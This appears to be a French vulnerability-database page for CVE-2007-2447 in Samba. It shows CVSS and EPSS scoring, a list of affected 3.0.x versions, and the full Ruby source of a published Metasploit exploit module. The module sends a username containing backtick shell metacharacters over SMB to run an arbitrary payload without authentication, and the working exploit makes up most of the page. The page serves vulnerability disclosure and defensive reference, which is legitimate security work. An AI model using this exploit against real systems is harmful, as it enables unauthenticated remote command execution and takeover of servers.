Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
6 |
|
AV:N/AC:M/Au:S/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 16320
Date de publication : 2010-08-17 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# $Id: usermap_script.rb 10040 2010-08-18 17:24:46Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::SMB
# For our customized version of session_setup_ntlmv1
CONST = Rex::Proto::SMB::Constants
CRYPT = Rex::Proto::SMB::Crypt
def initialize(info = {})
super(update_info(info,
'Name' => 'Samba "username map script" Command Execution',
'Description' => %q{
This module exploits a command execution vulerability in Samba
versions 3.0.20 through 3.0.25rc3 when using the non-default
"username map script" configuration option. By specifying a username
containing shell meta characters, attackers can execute arbitrary
commands.
No authentication is needed to exploit this vulnerability since
this option is used to map usernames prior to authentication!
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10040 $',
'References' =>
[
[ 'CVE', '2007-2447' ],
[ 'OSVDB', '34700' ],
[ 'BID', '23972' ],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534' ],
[ 'URL', 'http://samba.org/samba/security/CVE-2007-2447.html' ]
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => true, # root or nobody user
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
# *_perl and *_ruby work if they are installed
# mileage may vary from system to system..
}
},
'Targets' =>
[
[ "Automatic", { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 14 2007'))
register_options(
[
Opt::RPORT(139)
], self.class)
end
def exploit
connect
# lol?
username = "/=`nohup " + payload.encoded + "`"
begin
simple.client.negotiate(false)
simple.client.session_setup_ntlmv1(username, rand_text(16), datastore['SMBDomain'], false)
rescue ::Timeout::Error, XCEPT::LoginError
# nothing, it either worked or it didn't ;)
end
handler
end
end
Products Mentioned
Configuraton 0
Samba>>Samba >> Version 3.0.0
Samba>>Samba >> Version 3.0.1
Samba>>Samba >> Version 3.0.2
Samba>>Samba >> Version 3.0.2a
Samba>>Samba >> Version 3.0.3
Samba>>Samba >> Version 3.0.4
Samba>>Samba >> Version 3.0.4
Samba>>Samba >> Version 3.0.5
Samba>>Samba >> Version 3.0.6
Samba>>Samba >> Version 3.0.7
Samba>>Samba >> Version 3.0.8
Samba>>Samba >> Version 3.0.9
Samba>>Samba >> Version 3.0.10
Samba>>Samba >> Version 3.0.11
Samba>>Samba >> Version 3.0.12
Samba>>Samba >> Version 3.0.13
Samba>>Samba >> Version 3.0.14
Samba>>Samba >> Version 3.0.14a
Samba>>Samba >> Version 3.0.15
Samba>>Samba >> Version 3.0.16
Samba>>Samba >> Version 3.0.17
Samba>>Samba >> Version 3.0.18
Samba>>Samba >> Version 3.0.19
Samba>>Samba >> Version 3.0.20
Samba>>Samba >> Version 3.0.20a
Samba>>Samba >> Version 3.0.20b
Samba>>Samba >> Version 3.0.21
Samba>>Samba >> Version 3.0.21a
Samba>>Samba >> Version 3.0.21b
Samba>>Samba >> Version 3.0.21c
Samba>>Samba >> Version 3.0.22
Samba>>Samba >> Version 3.0.23
Samba>>Samba >> Version 3.0.23a
Samba>>Samba >> Version 3.0.23b
Samba>>Samba >> Version 3.0.23c
Samba>>Samba >> Version 3.0.23d
Samba>>Samba >> Version 3.0.24
Samba>>Samba >> Version 3.0.25
Samba>>Samba >> Version 3.0.25
Samba>>Samba >> Version 3.0.25
Samba>>Samba >> Version 3.0.25
Samba>>Samba >> Version 3.0.25
Références